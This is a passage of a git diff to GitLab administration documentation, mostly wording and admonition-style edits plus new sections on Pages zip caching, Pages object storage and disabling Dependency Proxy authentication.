The main tunable options for Unicorn are the number of worker processes and the
request timeout after which the Unicorn master terminates a worker process.
See the [Omnibus GitLab Unicorn settings
-documentation](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/doc/settings/unicorn.html)
+documentation](https://docs.gitlab.com/omnibus/settings/unicorn.html)
if you want to adjust these settings.
## unicorn-worker-killer
diff --git a/doc/administration/packages.md b/doc/administration/packages.md
index cdcce79f8f9..690b6785941 100644
--- a/doc/administration/packages.md
+++ b/doc/administration/packages.md
@@ -3,3 +3,6 @@ redirect_to: 'packages/index.md'
---
This document was moved to [another location](packages/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md
index 541bd99084c..633129e98bd 100644
--- a/doc/administration/packages/container_registry.md
+++ b/doc/administration/packages/container_registry.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Container Registry administration
@@ -93,7 +93,7 @@ auth:
rootcertbundle: /root/certs/certbundle
```
-CAUTION: **Caution:**
+WARNING:
If `auth` is not set up, users can pull Docker images without authentication.
## Container Registry domain configuration
@@ -101,7 +101,7 @@ If `auth` is not set up, users can pull Docker images without authentication.
There are two ways you can configure the Registry's external domain. Either:
- [Use the existing GitLab domain](#configure-container-registry-under-an-existing-gitlab-domain).
- The Registry listens on a port and reuses GitLab's TLS certificate.
+ The Registry listens on a port and reuses the TLS certificate from GitLab.
- [Use a completely separate domain](#configure-container-registry-under-its-own-domain) with a new TLS certificate
for that domain.
@@ -374,7 +374,7 @@ driver for the Container Registry.
[Read more about using object storage with GitLab](../object_storage.md).
-CAUTION: **Warning:**
+WARNING:
GitLab does not back up Docker images that are not stored on the
file system. Enable backups with your object storage provider if
desired.
@@ -468,7 +468,7 @@ you can pull from the Container Registry, but you cannot push.
sudo aws --endpoint-url https://your-object-storage-backend.com s3 sync registry s3://mybucket
```
- TIP: **Tip:**
+ NOTE:
If you have a lot of data, you may be able to improve performance by
[running parallel sync operations](https://aws.amazon.com/premiumsupport/knowledge-center/s3-improve-transfer-sync-command/).
@@ -485,7 +485,7 @@ you can pull from the Container Registry, but you cannot push.
[`--dryrun`](https://docs.aws.amazon.com/cli/latest/reference/s3/sync.html)
flag and run the command.
- DANGER: **Warning:**
+ WARNING:
The [`--delete`](https://docs.aws.amazon.com/cli/latest/reference/s3/sync.html)
flag deletes files that exist in the destination but not in the source.
If you swap the source and destination, all data in the Registry is deleted.
@@ -612,8 +612,8 @@ You can use GitLab as an auth endpoint with an external container registry.
gitlab_rails['registry_issuer'] = "omnibus-gitlab-issuer"
```
- `gitlab_rails['registry_enabled'] = true` is needed to enable GitLab's
- Container Registry features and authentication endpoint. GitLab's bundled
+ `gitlab_rails['registry_enabled'] = true` is needed to enable GitLab
+ Container Registry features and authentication endpoint. The GitLab bundled
Container Registry service does not start, even with this enabled.
1. A certificate-key pair is required for GitLab and the external container
@@ -820,7 +820,7 @@ If you did not change the default location of the configuration file, run:
sudo gitlab-ctl registry-garbage-collect
```
-This command will take some time to complete, depending on the amount of
+This command takes some time to complete, depending on the amount of
layers you have stored.
If you changed the location of the Container Registry `config.yml`:
@@ -837,7 +837,7 @@ understand the implications.
> [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/3097) in Omnibus GitLab 11.10.
-DANGER: **Warning:**
+WARNING:
This is a destructive operation.
The GitLab Container Registry follows the same default workflow as Docker Distribution:
@@ -867,7 +867,7 @@ You can perform garbage collection without stopping the Container Registry by pu
it in read-only mode and by not using the built-in command. On large instances
this could require Container Registry to be in read-only mode for a while.
During this time,
-you will be able to pull from the Container Registry, but you will not be able to
+you are able to pull from the Container Registry, but you are not able to
push.
By default, the [registry storage path](#configure-storage-for-the-container-registry)
@@ -896,7 +896,7 @@ To enable the read-only mode:
sudo gitlab-ctl reconfigure
```
- This will set the Container Registry into the read only mode.
+ This command sets the Container Registry into the read only mode.
1. Next, trigger one of the garbage collect commands:
@@ -908,7 +908,7 @@ To enable the read-only mode:
sudo /opt/gitlab/embedded/bin/registry garbage-collect -m /var/opt/gitlab/registry/config.yml
```
- This will start the garbage collection, which might take some time to complete.
+ This command starts the garbage collection, which might take some time to complete.
1. Once done, in `/etc/gitlab/gitlab.rb` change it back to read-write mode:
@@ -935,7 +935,7 @@ To enable the read-only mode:
Ideally, you want to run the garbage collection of the registry regularly on a
weekly basis at a time when the registry is not being in-use.
-The simplest way is to add a new crontab job that it will run periodically
+The simplest way is to add a new crontab job that it runs periodically
once a week.
Create a file under `/etc/cron.d/registry-garbage-collect`:
@@ -1137,6 +1137,12 @@ and a simple solution would be to enable relative URLs in the Registry.
### Enable the Registry debug server
+You can use the Container Registry debug server to diagnose problems. The debug endpoint can monitor metrics and health, as well as do profiling.
+
+WARNING:
+Sensitive information may be available from the debug endpoint.
+Access to the debug endpoint must be locked down in a production environment.
+
The optional debug server can be enabled by setting the registry debug address
in your `gitlab.rb` configuration.
@@ -1149,13 +1155,13 @@ After adding the setting, [reconfigure GitLab](../restart_gitlab.md#omnibus-gitl
Use curl to request debug output from the debug server:
```shell
-curl localhost:5001/debug/health
-curl localhost:5001/debug/vars
+curl "localhost:5001/debug/health"
+curl "localhost:5001/debug/vars"
```
### Advanced Troubleshooting
-We will use a concrete example in the past to illustrate how to
+We use a concrete example to illustrate how to
diagnose a problem with the S3 setup.
#### Unexpected 403 error during push
@@ -1227,14 +1233,14 @@ To verify that the certificates are properly installed, run:
mitmproxy --port 9000
```
-This will run mitmproxy on port `9000`. In another window, run:
+This command runs mitmproxy on port `9000`. In another window, run:
```shell
-curl --proxy http://localhost:9000 https://httpbin.org/status/200
+curl --proxy "http://localhost:9000" "https://httpbin.org/status/200"
```
-If everything is set up correctly, you will see information on the mitmproxy window and
-no errors from the curl commands.
+If everything is set up correctly, information is displayed on the mitmproxy window and
+no errors are generated by the curl commands.
#### Running the Docker daemon with a proxy
@@ -1248,7 +1254,7 @@ export HTTPS_PROXY="https://localhost:9000"
docker daemon --debug
```
-This will launch the Docker daemon and proxy all connections through mitmproxy.
+This command launches the Docker daemon and proxies all connections through mitmproxy.
#### Running the Docker client
@@ -1273,4 +1279,4 @@ The above image shows:
What does this mean? This strongly suggests that the S3 user does not have the right
[permissions to perform a HEAD request](https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadObject.html).
The solution: check the [IAM permissions again](https://docs.docker.com/registry/storage-drivers/s3/).
-Once the right permissions were set, the error will go away.
+Once the right permissions were set, the error goes away.
diff --git a/doc/administration/packages/dependency_proxy.md b/doc/administration/packages/dependency_proxy.md
index 56b39658dc2..9e315722c24 100644
--- a/doc/administration/packages/dependency_proxy.md
+++ b/doc/administration/packages/dependency_proxy.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Dependency Proxy administration
@@ -16,7 +16,7 @@ dependency proxies, see the [user guide](../../user/packages/dependency_proxy/in
## Enabling the Dependency Proxy feature
-NOTE: **Note:**
+NOTE:
Dependency proxy requires the Puma web server to be enabled.
To enable the dependency proxy feature:
@@ -34,7 +34,7 @@ To enable the dependency proxy feature:
**Installations from source**
-1. After the installation is complete, you will have to configure the `dependency_proxy`
+1. After the installation is complete, configure the `dependency_proxy`
section in `config/gitlab.yml`. Set to `true` to enable it:
```yaml
@@ -88,7 +88,7 @@ store the blobs of the dependency proxy.
[Read more about using object storage with GitLab](../object_storage.md).
-NOTE: **Note:**
+NOTE:
In GitLab 13.2 and later, we recommend using the
[consolidated object storage settings](../object_storage.md#consolidated-object-storage-configuration).
This section describes the earlier configuration format.
@@ -161,3 +161,22 @@ This section describes the earlier configuration format.
```
1. [Restart GitLab](../restart_gitlab.md#installations-from-source "How to restart GitLab") for the changes to take effect.
+
+## Disabling Authentication
+
+Authentication was introduced in 13.7 as part of [enabling private groups to use the
+Dependency Proxy](https://gitlab.com/gitlab-org/gitlab/-/issues/11582). If you
+previously used the Dependency Proxy without authentication and need to disable
+this feature while you update your workflow to [authenticate with the Dependency
+Proxy](../../user/packages/dependency_proxy/index.md#authenticate-with-the-dependency-proxy),
+the following commands can be issued in a Rails console:
+
+```ruby
+# Disable the authentication
+Feature.disable(:dependency_proxy_for_private_groups)
+
+# Re-enable the authentication
+Feature.enable(:dependency_proxy_for_private_groups)
+```
+
+The ability to disable this feature will be [removed in 13.9](https://gitlab.com/gitlab-org/gitlab/-/issues/276777).
diff --git a/doc/administration/packages/index.md b/doc/administration/packages/index.md
index 4af0de864ca..0f391371a6a 100644
--- a/doc/administration/packages/index.md
+++ b/doc/administration/packages/index.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Package Registry administration
@@ -32,8 +32,8 @@ The Package Registry supports the following formats:
## Accepting contributions
-The below table lists formats that are not supported, but are accepting Community contributions for. Consider contributing to GitLab. This [development documentation](../../development/packages.md) will
-guide you through the process.
+The below table lists formats that are not supported, but are accepting Community contributions for. Consider contributing to GitLab. This [development documentation](../../development/packages.md)
+guides you through the process.
| Format | Status |
| ------ | ------ |
@@ -53,10 +53,10 @@ guide you through the process.
## Enabling the Packages feature
-NOTE: **Note:**
+NOTE:
After the Packages feature is enabled, the repositories are available
-for all new projects by default. To enable it for existing projects, users will
-have to explicitly do so in the project's settings.
+for all new projects by default. To enable it for existing projects, users
+explicitly do so in the project's settings.
To enable the Packages feature:
@@ -72,7 +72,7 @@ To enable the Packages feature:
**Installations from source**
-1. After the installation is complete, you will have to configure the `packages`
+1. After the installation is complete, you configure the `packages`
section in `config/gitlab.yml`. Set to `true` to enable it:
```yaml
@@ -84,7 +84,7 @@ To enable the Packages feature:
**Helm Chart installations**
-1. After the installation is complete, you will have to configure the `packages`
+1. After the installation is complete, you configure the `packages`
section in `global.appConfig.packages`. Set to `true` to enable it:
```yaml
@@ -136,8 +136,8 @@ store packages.
[Read more about using object storage with GitLab](../object_storage.md).
-NOTE: **Note:**
-We recommend using the [consolidated object storage settings](../object_storage.md#consolidated-object-storage-configuration). The following instructions apply to the original config format.
+NOTE:
+We recommend using the [consolidated object storage settings](../object_storage.md#consolidated-object-storage-configuration). The following instructions apply to the original configuration format.
**Omnibus GitLab installations**
@@ -214,7 +214,7 @@ We recommend using the [consolidated object storage settings](../object_storage.
After [configuring the object storage](#using-object-storage), you may use the
following task to migrate existing packages from the local storage to the remote one.
-The processing will be done in a background worker and requires **no downtime**.
+The processing is done in a background worker and requires **no downtime**.
For Omnibus GitLab:
diff --git a/doc/administration/pages/img/zip_cache_configuration.png b/doc/administration/pages/img/zip_cache_configuration.png
new file mode 100644
index 00000000000..a332d8d0eb5
--- /dev/null
+++ b/doc/administration/pages/img/zip_cache_configuration.png
Binary files differ
diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md
index 0ebeb96d247..af0476b72e9 100644
--- a/doc/administration/pages/index.md
+++ b/doc/administration/pages/index.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: 'Learn how to administer GitLab Pages.'
---
@@ -16,7 +16,7 @@ description: 'Learn how to administer GitLab Pages.'
GitLab Pages allows for hosting of static sites. It must be configured by an
administrator. Separate [user documentation](../../user/project/pages/index.md) is available.
-NOTE: **Note:**
+NOTE:
This guide is for Omnibus GitLab installations. If you have installed
GitLab from source, see
[GitLab Pages administration for source installations](source.md).
@@ -53,7 +53,7 @@ supporting custom domains a secondary IP is not needed.
Before proceeding with the Pages configuration, you will need to:
-1. Have a domain for Pages that is not a subdomain of your GitLab's instance domain.
+1. Have a domain for Pages that is not a subdomain of your GitLab instance domain.
| GitLab domain | Pages domain | Does it work? |
| :---: | :---: | :---: |
@@ -68,7 +68,7 @@ Before proceeding with the Pages configuration, you will need to:
so that your users don't have to bring their own.
1. (Only for custom domains) Have a **secondary IP**.
-NOTE: **Note:**
+NOTE:
If your GitLab instance and the Pages daemon are deployed in a private network or behind a firewall, your GitLab Pages websites will only be accessible to devices/users that have access to the private network.
### Add the domain to the Public Suffix List
@@ -101,7 +101,7 @@ where `example.io` is the domain under which GitLab Pages will be served
and `192.0.2.1` is the IPv4 address of your GitLab instance and `2001::1` is the
IPv6 address. If you don't have IPv6, you can omit the AAAA record.
-NOTE: **Note:**
+NOTE:
You should not use the GitLab domain to serve user pages. For more information see the [security section](#security).
## Configuration
@@ -181,7 +181,7 @@ behavior:
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
-NOTE: **Note:**
+NOTE:
`inplace_chroot` option might not work with the other features, such as [Pages Access Control](#access-control).
The [GitLab Pages README](https://gitlab.com/gitlab-org/gitlab-pages#caveats) has more information about caveats and workarounds.
@@ -204,13 +204,13 @@ control over how the Pages daemon runs and serves content in your environment.
| `artifacts_server_url` | API URL to proxy artifact requests to. Defaults to GitLab `external URL` + `/api/v4`, for example `https://gitlab.com/api/v4`.
| `auth_redirect_uri` | Callback URL for authenticating with GitLab. Defaults to project's subdomain of `pages_external_url` + `/auth`.
| `auth_secret` | Secret key for signing authentication requests. Leave blank to pull automatically from GitLab during OAuth registration.
-| `dir` | Working directory for config and secrets files.
+| `dir` | Working directory for configuration and secrets files.
| `enable` | Enable or disable GitLab Pages on the current system.
| `external_http` | Configure Pages to bind to one or more secondary IP addresses, serving HTTP requests. Multiple addresses can be given as an array, along with exact ports, for example `['1.2.3.4', '1.2.3.5:8063']`. Sets value for `listen_http`.
| `external_https` | Configure Pages to bind to one or more secondary IP addresses, serving HTTPS requests. Multiple addresses can be given as an array, along with exact ports, for example `['1.2.3.4', '1.2.3.5:8063']`. Sets value for `listen_https`.
| `gitlab_client_http_timeout` | GitLab API HTTP client connection timeout in seconds (default: 10s).
| `gitlab_client_jwt_expiry` | JWT Token expiry time in seconds (default: 30s).
-| `domain_config_source` | Domain configuration source (default: `disk`)
+| `domain_config_source` | Domain configuration source (default: `auto`)
| `gitlab_id` | The OAuth application public ID. Leave blank to automatically fill when Pages authenticates with GitLab.
| `gitlab_secret` | The OAuth application secret. Leave blank to automatically fill when Pages authenticates with GitLab.
| `gitlab_server` | Server to use for authentication when access control is enabled; defaults to GitLab `external_url`.
@@ -241,7 +241,7 @@ control over how the Pages daemon runs and serves content in your environment.
| `pages_path` | The directory on disk where pages are stored, defaults to `GITLAB-RAILS/shared/pages`.
| `pages_nginx[]` | |
| `enable` | Include a virtual host `server{}` block for Pages inside NGINX. Needed for NGINX to proxy traffic back to the Pages daemon. Set to `false` if the Pages daemon should directly receive all requests, for example, when using [custom domains](index.md#custom-domains).
-| `FF_ENABLE_REDIRECTS` | Feature flag to disable redirects (enabled by default). Read the [redirects documentation](../../user/project/pages/redirects.md#disable-redirects) for more info. |
+| `FF_ENABLE_REDIRECTS` | Feature flag to disable redirects (enabled by default). Read the [redirects documentation](../../user/project/pages/redirects.md#disable-redirects) for more information. |
---
@@ -375,7 +375,7 @@ Pages access control is disabled by default. To enable it:
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
1. Users can now configure it in their [projects' settings](../../user/project/pages/pages_access_control.md).
-NOTE: **Important:**
+NOTE:
For this setting to be effective with multi-node setups, it has to be applied to
all the App nodes and Sidekiq nodes.
@@ -395,7 +395,7 @@ To do that:
1. Check the **Disable public access to Pages sites** checkbox.
1. Click **Save changes**.
-CAUTION: **Warning:**
+WARNING:
For self-managed installations, all public websites remain private until they are
redeployed. This issue will be resolved by
[sourcing domain configuration from the GitLab API](https://gitlab.com/gitlab-org/gitlab/-/issues/218357).
@@ -427,6 +427,42 @@ Authority (CA) in the system certificate store.
For Omnibus, this is fixed by [installing a custom CA in Omnibus GitLab](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates).
+### Zip serving and cache configuration
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-pages/-/merge_requests/392) in GitLab 13.7.
+
+WARNING:
+These are advanced settings. The recommended default values are set inside GitLab Pages. You should
+change these settings only if absolutely necessary. Use extreme caution.
+
+GitLab Pages can serve content from zip archives through object storage (an
+[issue](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/485) exists for supporting disk storage
+as well). It uses an in-memory cache to increase the performance when serving content from a zip
+archive. You can modify the cache behavior by changing the following configuration flags.
+
+| Setting | Description |
+| ------- | ----------- |
+| `zip_cache_expiration` | The cache expiration interval of zip archives. Must be greater than zero to avoid serving stale content. Default is 60s. |
+| `zip_cache_cleanup` | The interval at which archives are cleaned from memory if they have already expired. Default is 30s. |
+| `zip_cache_refresh` | The time interval in which an archive is extended in memory if accessed before `zip_cache_expiration`. This works together with `zip_cache_expiration` to determine if an archive is extended in memory. See the [example below](#zip-cache-refresh-example) for important details. Default is 30s. |
+| `zip_open_timeout` | The maximum time allowed to open a zip archive. Increase this time for big archives or slow network connections, as doing so may affect the latency of serving Pages. Default is 30s. |
+
+#### Zip cache refresh example
+
+Archives are refreshed in the cache (extending the time they are held in memory) if they're accessed
+before `zip_cache_expiration`, and the time left before expiring is less than or equal to
+`zip_cache_refresh`. For example, if `archive.zip` is accessed at time 0s, it expires in 60s (the
+default for `zip_cache_expiration`). In the example below, if the archive is opened again after 15s
+it is **not** refreshed because the time left for expiry (45s) is greater than `zip_cache_refresh`
+(default 30s). However, if the archive is accessed again after 45s (from the first time it was
+opened) it's refreshed. This extends the time the archive remains in memory from
+`45s + zip_cache_expiration (60s)`, for a total of 105s.
+
+After an archive reaches `zip_cache_expiration`, it's marked as expired and removed on the next
+`zip_cache_cleanup` interval.
+
+![Zip cache configuration](img/zip_cache_configuration.png)
+
## Activate verbose logging for daemon
Verbose logging was [introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/2533) in
@@ -539,7 +575,7 @@ your main application server.
To configure GitLab Pages on a separate server:
-DANGER: **Warning:**
+WARNING:
The following procedure includes steps to back up and edit the
`gitlab-secrets.json` file. This file contains secrets that control
database encryption. Proceed with caution.
@@ -632,13 +668,14 @@ Pages server.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217912) in GitLab 13.3.
GitLab Pages can use different sources to get domain configuration.
-The default value is `nil`; however, GitLab Pages will default to `disk`.
+The default value is `nil`; however, GitLab Pages will default to `auto`.
```ruby
gitlab_pages['domain_config_source'] = nil
```
-You can specify `gitlab` to enable [API-based configuration](#gitlab-api-based-configuration).
+If left unchanged, GitLab Pages tries to use any available source (either `gitlab` or `disk`). The
+preferred source is `gitlab`, which uses [API-based configuration](#gitlab-api-based-configuration).
For more details see this [blog post](https://about.gitlab.com/blog/2020/08/03/how-gitlab-pages-uses-the-gitlab-api-to-serve-content/).
@@ -655,15 +692,86 @@ was used prior to GitLab 13.0. Follow these steps to enable it:
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-If you encounter an issue, you can disable it by choosing `disk` or `nil`:
+If you encounter an issue, you can disable it by choosing `disk`:
```ruby
-gitlab_pages['domain_config_source'] = nil
+gitlab_pages['domain_config_source'] = "disk"
```
For other common issues, see the [troubleshooting section](#failed-to-connect-to-the-internal-gitlab-api)
or report an issue.
+## Using object storage
+
+> [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5577) in GitLab 13.6.
+
+[Read more about using object storage with GitLab](../object_storage.md).
+
+### Object storage settings
+
+The following settings are:
+
+- Nested under `pages:` and then `object_store:` on source installations.
+- Prefixed by `pages_object_store_` on Omnibus GitLab installations.
+
+| Setting | Description | Default |
+|---------|-------------|---------|
+| `enabled` | Whether object storage is enabled. | `false` |
+| `remote_directory` | The name of the bucket where Pages site content is stored. | |
+| `connection` | Various connection options described below. | |
+
+#### S3-compatible connection settings
+
+See [the available connection settings for different providers](../object_storage.md#connection-settings).
+
+In Omnibus installations:
+
+1. Add the following lines to `/etc/gitlab/gitlab.rb` and replace the values with the ones you want:
+
+ ```ruby
+ gitlab_rails['pages_object_store_enabled'] = true
+ gitlab_rails['pages_object_store_remote_directory'] = "pages"
+ gitlab_rails['pages_object_store_connection'] = {
+ 'provider' => 'AWS',
+ 'region' => 'eu-central-1',
+ 'aws_access_key_id' => 'AWS_ACCESS_KEY_ID',
+ 'aws_secret_access_key' => 'AWS_SECRET_ACCESS_KEY'
+ }
+ ```
+
+ If you use AWS IAM profiles, be sure to omit the AWS access key and secret access key/value
+ pairs:
+
+ ```ruby
+ gitlab_rails['pages_object_store_connection'] = {
+ 'provider' => 'AWS',
+ 'region' => 'eu-central-1',
+ 'use_iam_profile' => true
+ }
+ ```
+
+1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure)
+ for the changes to take effect.
+
+In installations from source:
+
+1. Edit `/home/git/gitlab/config/gitlab.yml` and add or amend the following lines:
+
+ ```yaml
+ pages:
+ object_store:
+ enabled: true
+ remote_directory: "pages" # The bucket name
+ connection:
+ provider: AWS # Only AWS supported at the moment
+ aws_access_key_id: AWS_ACESS_KEY_ID
+ aws_secret_access_key: AWS_SECRET_ACCESS_KEY
+ region: eu-central-1
+ ```
+
+1. Save the file and [restart GitLab](../restart_gitlab.md#installations-from-source)
+ for the changes to take effect.
+
## Backup
GitLab Pages are part of the [regular backup](../../raketasks/backup_restore.md), so there is no separate backup to configure.
@@ -734,7 +842,7 @@ x509: certificate signed by unknown authority
```
The reason for those errors is that the files `resolv.conf` and `ca-bundle.pem` are missing inside the chroot.
-The fix is to copy the host's `/etc/resolv.conf` and GitLab's certificate bundle inside the chroot:
+The fix is to copy the host's `/etc/resolv.conf` and the GitLab certificate bundle inside the chroot:
```shell
sudo mkdir -p /var/opt/gitlab/gitlab-rails/shared/pages/etc/ssl
@@ -811,3 +919,11 @@ Upgrading to an [officially supported operating system](https://about.gitlab.com
This problem comes from the permissions of the GitLab Pages OAuth application. To fix it, go to
**Admin > Applications > GitLab Pages** and edit the application. Under **Scopes**, ensure that the
`api` scope is selected and save your changes.
+
+### Workaround in case no wildcard DNS entry can be set
+
+If the wildcard DNS [prerequisite](#prerequisites) can't be met, you can still use GitLab Pages in a limited fashion:
+
+1. [Move](../../user/project/settings/index.md#transferring-an-existing-project-into-another-namespace)
+ all projects you need to use Pages with into a single group namespace, for example `pages`.
+1. Configure a [DNS entry](#dns-configuration) without the `*.`-wildcard, for example `pages.example.io`.
diff --git a/doc/administration/pages/source.md b/doc/administration/pages/source.md
index 87217b141a4..c7c25f0f3a7 100644
--- a/doc/administration/pages/source.md
+++ b/doc/administration/pages/source.md
@@ -1,12 +1,12 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Pages administration for source installations
-NOTE: **Note:**
+NOTE:
Before attempting to enable GitLab Pages, first make sure you have
[installed GitLab](../../install/installation.md) successfully.
@@ -77,7 +77,7 @@ host that GitLab runs. For example, an entry would look like this:
where `example.io` is the domain under which GitLab Pages will be served
and `192.0.2.1` is the IP address of your GitLab instance.
-NOTE: **Note:**
+NOTE:
You should not use the GitLab domain to serve user pages. For more information
see the [security section](#security).
@@ -349,7 +349,7 @@ world. Custom domains and TLS are supported.
## NGINX caveats
-NOTE: **Note:**
+NOTE:
The following information applies only for installations from source.
Be extra careful when setting up the domain name in the NGINX configuration. You must
@@ -395,7 +395,7 @@ API to check that the user is authorized to read that site.
From [GitLab 12.8](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/3689) onward,
Access Control parameters for Pages are set in a configuration file, which
by convention is named `gitlab-pages-config`. The configuration file is passed to
-pages using the `-config flag` or CONFIG environment variable.
+pages using the `-config flag` or `CONFIG` environment variable.
Pages access control is disabled by default. To enable it:
diff --git a/doc/administration/plugins.md b/doc/administration/plugins.md
index dbb733b9b19..f5d4b3aa2ff 100644
--- a/doc/administration/plugins.md
+++ b/doc/administration/plugins.md
@@ -3,3 +3,6 @@ redirect_to: 'file_hooks.md'
---
This document was moved to [File Hooks](file_hooks.md), after the Plugins feature was renamed to File Hooks.
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/polling.md b/doc/administration/polling.md
index 17b8045b51f..cd2e8ecad60 100644
--- a/doc/administration/polling.md
+++ b/doc/administration/polling.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Polling configuration
@@ -9,7 +9,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
The GitLab UI polls for updates for different resources (issue notes, issue
titles, pipeline statuses, etc.) on a schedule appropriate to the resource.
-In "Application settings -> Real-time features" you can configure "Polling
+In **[Admin Area](../user/admin_area/index.md) > Settings > Preferences > Real-time features**,
+you can configure "Polling
interval multiplier". This multiplier is applied to all resources at once,
and decimal values are supported. For the sake of the examples below, we will
say that issue notes poll every 2 seconds, and issue titles poll every 5
diff --git a/doc/administration/postgresql/external.md b/doc/administration/postgresql/external.md
index 4a164c66578..a9d0af952a0 100644
--- a/doc/administration/postgresql/external.md
+++ b/doc/administration/postgresql/external.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Configure GitLab using an external PostgreSQL service
diff --git a/doc/administration/postgresql/index.md b/doc/administration/postgresql/index.md
index c7ec46db654..0e6fd757421 100644
--- a/doc/administration/postgresql/index.md
+++ b/doc/administration/postgresql/index.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/administration/postgresql/pgbouncer.md b/doc/administration/postgresql/pgbouncer.md
index 7760b197267..f09ac3052f4 100644
--- a/doc/administration/postgresql/pgbouncer.md
+++ b/doc/administration/postgresql/pgbouncer.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -36,7 +36,7 @@ This content has been moved to a [new location](replication_and_failover.md#conf
1. Run `gitlab-ctl reconfigure`
- NOTE: **Note:**
+ NOTE:
If the database was already running, it will need to be restarted after reconfigure by running `gitlab-ctl restart postgresql`.
1. On the node you are running PgBouncer on, make sure the following is set in `/etc/gitlab/gitlab.rb`
diff --git a/doc/administration/postgresql/replication_and_failover.md b/doc/administration/postgresql/replication_and_failover.md
index a29815672e5..303246c9c82 100644
--- a/doc/administration/postgresql/replication_and_failover.md
+++ b/doc/administration/postgresql/replication_and_failover.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# PostgreSQL replication and failover with Omnibus GitLab **(PREMIUM ONLY)**
@@ -35,7 +35,7 @@ You also need to take into consideration the underlying network topology, making
sure you have redundant connectivity between all Database and GitLab instances
to avoid the network becoming a single point of failure.
-NOTE: **Note:**
+NOTE:
As of GitLab 13.3, PostgreSQL 12 is shipped with Omnibus GitLab. Clustering for PostgreSQL 12 is only supported with
Patroni. See the [Patroni](#patroni) section for further details. The support for repmgr will not be extended beyond
PostgreSQL 11.
@@ -460,7 +460,7 @@ Check the [Troubleshooting section](#troubleshooting) before proceeding.
# END user configuration
```
- NOTE: **Note:**
+ NOTE:
`pgbouncer_role` was introduced with GitLab 10.3.
1. Run `gitlab-ctl reconfigure`
@@ -985,7 +985,7 @@ after it has been restored to service.
gitlab-ctl restart repmgrd
```
- CAUTION: **Warning:**
+ WARNING:
When the server is brought back online, and before
